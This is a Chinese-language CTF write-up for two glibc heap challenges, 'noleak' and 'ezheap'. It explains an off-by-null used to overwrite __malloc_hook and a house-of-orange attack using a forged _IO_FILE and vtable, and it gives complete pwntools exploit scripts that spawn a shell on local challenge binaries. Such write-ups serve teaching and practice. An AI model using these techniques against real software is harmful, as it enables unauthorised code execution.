#1 noleak
这个题需要先通过secret()的检查才能进入到主程序。
可以看出来,就是一个简单的栅栏加密。
但是要注意的是,他用的是4个32bit的整数来存,程序使用小端字节序,所以要从最低位开始。
解密后的结果是
1
| buf = '\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37'
|
然后分析每个功能,在edit()中发现了off by null
1 2
| v0 = read(0, (void *)chunks[2 * v2], LODWORD(chunks[2 * v2 + 1])); v3[v0] = 0;
|
所以可以利用这个溢出的\x00来修改下一个chunk的prev_inuse位,导致前面的chunk被合并,放进unsorted bin,可以leak libc。(house of einherjar)
(用三个chunk,chunk A, chunk B, chunk C,需要先把chunk A和chunk C的size的tcache装满,然后利用chunk B去off by null改掉chunkC的size)
我这里是用了两个0x100和一个0x20的chunk来完成的leak libc
因为tcache_entries的检查可以忽略掉,所以根本不需要找符合要求的fake_chunk,写到__malloc_hook就完事了。(比传统的house of spirit还简单)
直接把one_gadget写进去,就能getshell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import * context.log_level = 'debug' elf = ELF('./pwn') libc = ELF('./libc.so.6')
p = process(['./pwn'], env={'LD_PRELOAD':'./libc.so.6'})
buf = '\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37' p.recvuntil('str:') p.sendline(buf)
def choice(idx): p.recvuntil('>') p.sendline(str(idx))
def alloc(idx, sz): choice(1) p.recvuntil('Index?\n') p.sendline(str(idx)) p.recvuntil('Size?\n') p.sendline(str(sz))
def show(idx): choice(2) p.recvuntil('Index?\n') p.sendline(str(idx))
def edit(idx, content): choice(3) p.recvuntil('Index?\n') p.sendline(str(idx)) p.recvuntil('content:\n') p.sendline(str(content))
def delete(idx): choice(4) p.recvuntil('Index?\n') p.sendline(str(idx))
alloc(0, 0xf0) alloc(1, 0x18) alloc(2, 0xf0) alloc(9, 0x18)
for i in range(7): alloc(i+3, 0xf0) for i in range(7): delete(i+3)
delete(0) pay = p64(0)*2 + p64(0x100+0x20) edit(1, pay) delete(2) alloc(0, 0x110) show(0)
hook = libc.symbols['__malloc_hook'] base = u64(p.recv(6) + '\x00\x00') - 0x3afeb0 print hex(hook + base) print hex(base)
delete(1) pay = p64(0)*0x1f + p64(0x20) + p64(hook+base) edit(0, pay)
alloc(2, 0x18) alloc(3, 0x18) one = [0x41602, 0x41656, 0xdeec2] edit(3, p64(one[2]+base))
alloc(4, 0x80)
p.interactive()
|
#2 ezheap
直接分析吧
一开始给了一个堆上的地址
然后就是菜单流程,但是与众不同的是,只有创建、修改和show的功能,没有free。所以想要用main arena来leak libc就需要用到house of orange来把原来的top chunk放进unsorted bin里。
比较顺利的是,这题的chng_wp()是很明显存在堆溢出的,所以可以做到house of orange。
house of orange简单的说,就是利用要申请的chunk size > top chunk size时,原来的top chunk会被放入unsorted bin,然后再使用mmap或者sys_brk申请新的top chunk。
1 2 3 4 5 6 7 8 9
|
else { void *p = sysmalloc(nb, av); if (p != NULL && __builtin_expect (perturb_byte, 0)) alloc_perturb (p, bytes); return p; }
|
要使用sys_brk来扩展堆,还需要注意malloc的尺寸不能大于mmp_.mmap_threshold
另外,top chunk被放入unsorted bin需要通过glibc的验证:
1 2 3 4
| assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & pagemask) == 0));
|
即:
1.伪造的size在内存需要页对齐(对齐0x1000,及4kb)
2.top chunk的size要大于MINSIZE
3.top chunk的size要小于接下来申请的chunk size + MINSIZE
4.prev_inuse bit需要为1
这里我将top chunk改成了0xfc1,申请一个0x1000的chunk触发sys_brk重新分配top chunk,把原来的top chunk放进了unsorted bin,然后再申请一个chunk,就可以把libc上的地址打印下来。(原题house of orange在一开始是没有给出heap地址的,所以原来的做法是申请一个large chunk,让unsorted chunk先把它切割下来在large bin里面过一遍,拿到fd_nextsize作为leak的堆地址)
但是问题来了,由于不好leak PIE基址,现在该如何getshell呢?
这里需要用到_IO_FILE的利用方法了。
在libc2.23以及之前的版本中,vtable是可以被伪造在heap段的,所以这里可以直接在堆里写一个_IO_FILE对象出来,然后再把vtable伪造出来。
由于malloc报错的时候,会调用_IO_flush_all_lockp这个函数去刷新文件流,这相当于对每一个 _IO_FILE对象调用fflush,进而调用vtable中的 _IO_overflow。而且vtable中的函数指针在被调用时,默认都会将他的对应的 _IO_FILE对象的地址当做第一个参数来传递,这个时候在我们写的那个 _IO_FILE对象的prev_size处写上’/bin/sh\x00’,然后再将 _IO_overflow函数指针劫持到system函数,就能完成getshell了。
(但是,将对应的 _IO_FILE对象的地址那里改成’/bin/sh\x00’会破坏 _IO_FILE结构中的 _flags成员,就会导致很多函数指针执行前的检查不通过,但是此题环境下的 _IO_flush_all_lockp是可以通过的)
所有_IO_FILE对象都是由 _IO_list_all这个链表串起来的,所以要使用unsortedbin attack将我们写的这个 _IO_FILE的地址写到 _IO_list_all上去。
这题我伪造好的_IO_FILE和vtable就像这样。
libc2.23中的 _ IO_flush_all_lockp 对_IO_FILE有一些检查,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int _IO_flush_all_lockp (int do_lock) { ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... } }
|
也就是:
_IO_write_base < _IO_write_ptr
_mode <= 0
另外可以补充一下_IO_flush_all_lockp函数会被调用的场景
- 当libc执行abort流程时
- 当执行exit函数时
- 当执行流从main函数返回时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context.log_level='debug' elf = ELF('./pwn') libc = ELF('./libc-2.23.so') p = process('./pwn')
def choice(idx): p.recvuntil('choice : ') p.sendline(str(idx))
def create(sz, content): choice(1) p.recvuntil('size of it') p.sendline(str(sz)) p.recvuntil('Name?') p.sendline(content)
def edit(sz, content): choice(2) p.recvuntil('size of it') p.sendline(str(sz)) p.recvuntil('name') p.sendline(content)
heapbase = int(p.recvline()[2:-1], 16) & 0xfffffffffffff000 print(hex(heapbase)) create(0x18, 'DDDD') pay = b'a'*0x18 + p64(0xfc1) edit(len(pay), pay)
create(0x1000, 'hacked by k') create(0x400, 'AAAAAAA') choice(3) p.recvuntil('AAAAAAA\n') libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3c5188 sys = libcbase + libc.symbols['system'] io_list_all = libcbase + libc.symbols['_IO_list_all']
pay = cyclic(0x400) pay += b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(io_list_all-0x10) pay += p64(0) + p64(1) pay = pay.ljust(0x4d8, b'\x00') pay += p64(heapbase+0x520) pay += p64(0) + p64(sys)
edit(len(pay), pay) choice(1) p.recvuntil('size of it') p.sendline('24')
p.interactive()
|